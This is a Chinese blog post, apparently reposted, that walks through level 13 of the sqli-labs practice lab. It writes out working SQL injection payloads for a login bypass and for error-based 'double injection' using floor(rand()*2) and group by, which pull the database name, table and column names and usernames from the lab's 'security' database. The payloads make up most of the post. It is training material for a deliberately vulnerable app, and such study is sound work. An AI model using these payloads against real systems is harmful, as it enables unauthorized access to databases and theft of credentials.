博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
sqli-lab(13)
阅读量:4687 次
发布时间:2019-06-09

本文共 1317 字,大约阅读时间需要 4 分钟。

Double Injection- String- with twist(双注入 - 字符型 - 变形)

来进行我们的注入测试

直接闭合,用户名和密码输入“ ‘) or (‘1’) = (‘1%23 ” 双引号里面的语句,前面的单引号加括号和sql中的括号单引号闭合,后边的也闭合了,看图片:

一切都是对的,为什么还是登录失败?

因为username那儿变成空的了,所以前面随便加上一个用户名就行了。

 

看红箭头,加上用户名和密码的名称就登录成功了

发现

那我们来尝试一下闭合 语句

') order by 1#

 

0X02爆库名

 

') union select null,database()#

哦豁 回显信息 那我们只有通过报错来进行注入了

 按我们前面学习的双注入来

1') union select count(*),concat_ws(':',(select user()),(select database()),floor(rand()*2)) as a from information_schema.tables group by a#

成功

OX03爆表名

') union select count(*),concat_ws('++',(select table_name from information_schema.tables where table_schema='security'),floor(rand()*2)) as a from information_schema.tables group by a#

有事这个错误  limit一个一个的看吧 唉

') union select count(*),concat_ws('++',(select table_name from information_schema.tables where table_schema='security' limit 0,1),floor(rand()*2)) as a from information_schema.tables group by a#

0X04爆列名

') union select count(*),concat_ws('+',(select column_name from information_schema.columns where table_name='users' limit 0,1),floor(rand()*2)) as a from information_schema.tables group by a#

0X05爱之深入了解 爆字段

') union select count(*),concat_ws(';',(select username from users limit 0,1),floor(rand()*2)) as a from information_schema.tables group by a#

 

这里我是一个字段一个字段的爆破的 .

转载于:https://www.cnblogs.com/-zhong/p/10917714.html

你可能感兴趣的文章
五秒原则,做一件事之前数 5 秒,1,2,3,4,5 立马去做。比如睡觉:数五秒,立马放下手机,闭眼。...
查看>>
Hibernate之HQL查询
查看>>
数字类型-课堂笔记
查看>>
powerShell赋权限
查看>>
java中方法体的作用
查看>>
windows进程间通信
查看>>
linux TCP协议(1)---连接管理与状态机
查看>>
'net’ 不是内部命令或外部命令,也不是可运行的程序或批处理文件 解决方法...
查看>>
POJ 2674 Linear world(弹性碰撞)
查看>>
用R语言实现对不平衡数据的四种处理方法
查看>>
java中 CopyOnWriteArrayList 的使用
查看>>
FZU 1924——死锁——————【topo判环】
查看>>
【MySQL笔记】: unable to connect to remote host. catalog download has failed.
查看>>
AC日记——丢瓶盖 洛谷 P1316
查看>>
mysql数据库语法——(六)
查看>>
Source Insight 生成函数调用关系图
查看>>
Elasticsearch mysql 增量同步
查看>>
303. Range Sum Query - Immutable
查看>>
源代码管理
查看>>
(转)STM32学习笔记(3):系统时钟和SysTick定时器
查看>>